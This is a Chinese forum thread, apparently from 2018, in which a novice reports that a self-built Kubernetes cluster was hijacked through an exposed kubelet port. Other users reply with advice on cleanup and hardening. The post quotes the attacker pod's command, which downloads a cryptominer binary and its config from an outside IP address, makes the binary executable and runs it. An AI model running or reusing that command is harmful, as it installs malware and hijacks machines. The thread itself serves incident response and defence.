这是一个创建于 2305 天前的主题，其中的信息可能已经有所发展或是发生改变。
在腾讯云学生机上自己折腾 k8s，并把 blog 部署在上边，结果两天上去怎么多那么多 pod。
top
kubectl get pods
ps aux | grep k.conf
查看 /tmp/docker, 没有了估计是屁股被擦干净了。
订阅轻重一个 pod
Command:
sh
-c
curl -o /var/tmp/config.json http://192.99.142.232:8220/2.json;curl -o /var/tmp/suppoie http://192.99.142.232:8220/rig;chmod 777 /var/tmp/suppoie;cd /var/tmp;./suppoie -c config.json
找到了一篇一样遭遇的文章http://www.lijiaocn.com/%E9%97%AE%E9%A2%98/2018/07/20/kubernetes-docker-cpu-high.html 按照作者所说应该是 10250 端口暴露到外网了。
netstat -lnpt | grep 10250 果不其然。
先杀死挖矿 pods，
kubectl get pods | grep y1ee4 | awk '{print $1}' | xargs kubectl delete --grace-period=0 --force pods
kubectl get pods
有重新创建了，日了
kubectl get rc 然后 delete rc，赶紧查看是不是哪里配置写错了。
新手，大神路过指导一二。
 |
1
shisang OP 消灭零回复
|
 |
2
des 2018-08-02 18:52:32 +08:00 via Android
重装最简单了
|
 |
4
wtks1 2018-08-02 18:53:46 +08:00 via Android
重装是最暴力但最有效的办法
|
 |
6
murmur 2018-08-02 19:02:53 +08:00
别人甚至还可以替换掉你的常用命令
|
 |
8
artandlol 2018-08-02 19:11:52 +08:00 via iPhone
启 rbacc 客户端启用 token docker 用户不应该是 root
|
 |
9
qfdk 2018-08-02 19:12:02 +08:00 via iPhone
docker 开了 remote api 了吧 我也中了 都是 docker 中运行 然后从容器里跑出来的 最后让我消灭了…… 本来是开了 api 做测试的 两天就被挖坑了
|
|
10
artandlol 2018-08-02 19:15:29 +08:00 via iPhone
然后 kubectl -o 出 yamll 然后 delete 看你是用 root 跑，最好还是回滚到之前的
|
 |
11
abmin521 2018-08-02 20:02:25 +08:00 via Android
刚好研究过
关闭 kubelet 的匿名访问 双向 tls 就行了 kubeadm 就没有这个 bug 有空准备扫一波 |
 |
12
cqxxxxxxx 2018-08-02 20:58:50 +08:00
lz 是一台机器 minikube 搭的 k8s?还是好几台机器搭的集群？
|
 |
13
DesignerSkyline 2018-08-02 21:20:12 +08:00
重装吧，二进制已经被污染了
|
|
14
shisang OP @abmin521 之前在 vultr 是 kubeadm 装过，运行挺好，就是国内装不上，用 privoxy 代理也不行。但是 vultr 坑爹了，重启后 ip ping 不通，要手动修改网络配置。要手动在网页 console 输入密码十几次每一次对的，最后客服说可以通过 sysroot 修改密码，按照文档操作后直接 unknown user，弃坑~！
|
 |
17
mritd 2018-08-03 00:05:07 +08:00
你多半是看了那个 无良教程 apiserver 监听 :8080 了吧
|
 |
18
E1n 2018-08-03 01:19:47 +08:00 via Android
单机能学到什么东西，褥 gcp 玩玩集群吧
|
 |
19
580a388da131 2018-08-03 01:27:55 +08:00 via Android
不是有安全组吗？你开了所有端口？
|
 |
20
0312birdzhang 2018-08-03 08:09:08 +08:00 via iPhone
直接删 pod 要是能删掉的话 deployment、rc、daemonset 是干嘛的😷
|
 |
21
znood 2018-08-03 13:07:47 +08:00 via iPhone
查看 k8s 所有资源，把可疑的删掉，只删 pod 没用的，kubelet 会自动创建
|
|
22
shisang OP @580a388da131 为了方便测试，安全之前设置为 all，所有端口放行了~~
|
 |
24
suom 2019-06-28 00:39:42 +08:00
装好机器以后，整个机器备份一次。
被黑了，直接查洞-还原备份-修补漏洞-再次备份-部署业务 |
Select Language